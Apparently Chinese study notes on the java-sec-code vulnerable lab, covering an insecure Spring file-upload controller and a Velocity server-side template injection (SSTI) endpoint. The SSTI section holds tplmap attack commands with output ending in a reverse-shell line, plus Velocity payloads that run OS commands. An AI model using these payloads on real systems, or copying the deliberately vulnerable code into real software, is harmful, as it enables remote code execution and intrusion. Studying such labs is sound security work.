FileUpload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 package org.joychou.controller;import com.fasterxml.uuid.Generators;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.*;import org.springframework.web.multipart.MultipartFile;import org.springframework.web.servlet.mvc.support.RedirectAttributes;import javax.imageio.ImageIO;import java.awt.image.BufferedImage;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.UUID;import org.joychou.security.SecurityUtil;@Controller @RequestMapping("/file") public class FileUpload { private static final String UPLOADED_FOLDER = "/tmp/" ; private final Logger logger = LoggerFactory.getLogger(this .getClass()); private static String randomFilePath = "" ; @GetMapping("/any") public String index () { return "upload" ; } @GetMapping("/pic") public String uploadPic () { return "uploadPic" ; } @PostMapping("/upload") public String singleFileUpload (@RequestParam("file") MultipartFile file,//通过file来捕获MultipartFile对象 //MultipartFile是SpringMVC的上传操作工具类 RedirectAttributes redirectAttributes) { if (file.isEmpty()) { redirectAttributes.addFlashAttribute("message" , "Please select a file to upload" ); return "redirect:/file/status" ; } try { byte [] bytes = file.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); Files.write(path, bytes); redirectAttributes.addFlashAttribute("message" , "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'" ); } catch (IOException e) { redirectAttributes.addFlashAttribute("message" , "upload failed" ); logger.error(e.toString()); } return "redirect:/file/status" ; } @GetMapping("/status") public String uploadStatus () { return "uploadStatus" ; } @PostMapping("/upload/picture") @ResponseBody public String uploadPicture (@RequestParam("file") MultipartFile multifile) throws Exception { if (multifile.isEmpty()) { return "Please select a file to upload" ; } String fileName = multifile.getOriginalFilename(); String Suffix = fileName.substring(fileName.lastIndexOf("." )); String mimeType = multifile.getContentType(); String filePath = UPLOADED_FOLDER + fileName; File excelFile = convert(multifile); String[] picSuffixList = {".jpg" , ".png" , ".jpeg" , ".gif" , ".bmp" , ".ico" }; boolean suffixFlag = false ; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true ; break ; } } if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); deleteFile(filePath); return "Upload failed. Illeagl picture." ; } String[] mimeTypeBlackList = { "text/html" , "text/javascript" , "application/javascript" , "application/ecmascript" , "text/xml" , "application/xml" }; for (String blackMimeType : mimeTypeBlackList) { if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); deleteFile(filePath); return "Upload failed. Illeagl picture." ; } } boolean isImageFlag = isImage(excelFile); deleteFile(randomFilePath); if (!isImageFlag) { logger.error("[-] File is not Image" ); deleteFile(filePath); return "Upload failed. Illeagl picture." ; } try { byte [] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); } catch (IOException e) { logger.error(e.toString()); deleteFile(filePath); return "Upload failed" ; } logger.info("[+] Safe file. Suffix: {}, MIME: {}" , Suffix, mimeType); logger.info("[+] Successfully uploaded {}" , filePath); return String.format("You successfully uploaded '%s'" , filePath); } private void deleteFile (String filePath) { File delFile = new File (filePath); if (delFile.isFile() && delFile.exists()) { if (delFile.delete()) { logger.info("[+] " + filePath + " delete successfully!" ); return ; } } logger.info(filePath + " delete failed!" ); } private File convert (MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf("." )); UUID uuid = Generators.timeBasedGenerator().generate(); randomFilePath = UPLOADED_FOLDER + uuid + suffix; File convFile = new File (randomFilePath); boolean ret = convFile.createNewFile(); if (!ret) { return null ; } FileOutputStream fos = new FileOutputStream (convFile); fos.write(multiFile.getBytes()); fos.close(); return convFile; } private static boolean isImage (File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null ; } }
uploadStatus.html
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html lang ="en" xmlns:th ="http://www.thymeleaf.org" > <body > <div th:if ="${message}" > <h4 th:text ="${message}" /> </div > </body > </html >
uploadPic.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <body > <h3 > file upload only picture</h3 > <form method ="POST" th:action ="@{upload/picture}" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <br /> <br /> <input type ="submit" value ="Submit" /> </form > </body > </html >
replaceSpecialStr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static String replaceSpecialStr (String str) { StringBuilder sb = new StringBuilder (); str = str.toLowerCase(); for (int i = 0 ; i < str.length(); i++) { char ch = str.charAt(i); if (ch >= 48 && ch <= 57 ){ sb.append(ch); } else if (ch >= 97 && ch <= 122 ) { sb.append(ch); } else if (ch == '/' || ch == '.' || ch == '-' ){ sb.append(ch); } } return sb.toString(); }
RedirectAttributes重定向两种方式
a.
跳转参数直接在明文中
1 2 3 4 5 RedirectAttributes.addFlashAttribute("name" , "123" ); <br> RedirectAttributes.addFlashAttribute("success" , "success" );<br> return "redirect:/index" ;<br>=== return "redirect:/index?name=123&success=success"
b.
把参数藏到session中,跳转后马上移除session对象
1 2 3 RedirectAttributes.addFlashAttribute("status" ,"999" );<br> RedirectAttributes.addFlashAttribute("message" ,"登录失败" );<br> return "redirect:/toLogin" ;<br>
MultipartFile的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package org.springframework.web.multipart;import java.io.File;import java.io.IOException;import java.io.InputStream;import java.nio.file.Files;import java.nio.file.Path;import org.springframework.core.io.InputStreamSource;import org.springframework.core.io.Resource;import org.springframework.lang.Nullable;import org.springframework.util.FileCopyUtils;public interface MultipartFile extends InputStreamSource { String getName () ; @Nullable String getOriginalFilename () ; @Nullable String getContentType () ; boolean isEmpty () ; long getSize () ; byte [] getBytes() throws IOException; InputStream getInputStream () throws IOException; default Resource getResource () { return new MultipartFileResource (this ); } void transferTo (File var1) throws IOException, IllegalStateException; default void transferTo (Path dest) throws IOException, IllegalStateException { FileCopyUtils.copy(this .getInputStream(), Files.newOutputStream(dest)); } }
SSTI 脚本 1 2 git clone https://github.com/epinna/tplmap python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [+] Testing if GET parameter 'template' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{{*}}' [+] Tornado plugin is testing blind injection [+] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin is testing blind injection [+] Twig plugin is testing rendering with tag '{{*}}' [+] Twig plugin is testing blind injection [+] Freemarker plugin is testing rendering with tag '*' [+] Freemarker plugin is testing blind injection [+] Velocity plugin is testing rendering with tag '*' [+] Velocity plugin is testing blind injection [+] Velocity plugin has confirmed blind injection [+] Tplmap identified the following injection point: GET parameter: template Engine: Velocity Injection: * Context: text OS: undetected Technique: blind Capabilities: Shell command execution: ok (blind) Bind and reverse shell: ok File write: ok (blind) File read: no Code evaluation: no [+] Blind injection has been found and command execution will not produce any output. [+] Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not. [+] Run commands on the operating system. (blind) $ id True (blind) $ whoami True (blind) $ bash -i >& /dev/tcp/reverse_ip/2333 0>&1
手注 使用时必须手动编码一次
1 #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")
也可也直接利用address
字符串
1 $address.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.joychou.controller;import org.apache.velocity.VelocityContext;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.apache.velocity.app.Velocity;import java.io.StringWriter;@RestController @RequestMapping("/ssti") public class SSTI { @GetMapping("/velocity") public void velocity (String template) { Velocity.init(); VelocityContext context = new VelocityContext (); context.put("author" , "Elliot A." ); context.put("address" , "217 E Broadway" ); context.put("phone" , "555-1337" ); StringWriter swOut = new StringWriter (); Velocity.evaluate(context, swOut, "test" , template); } }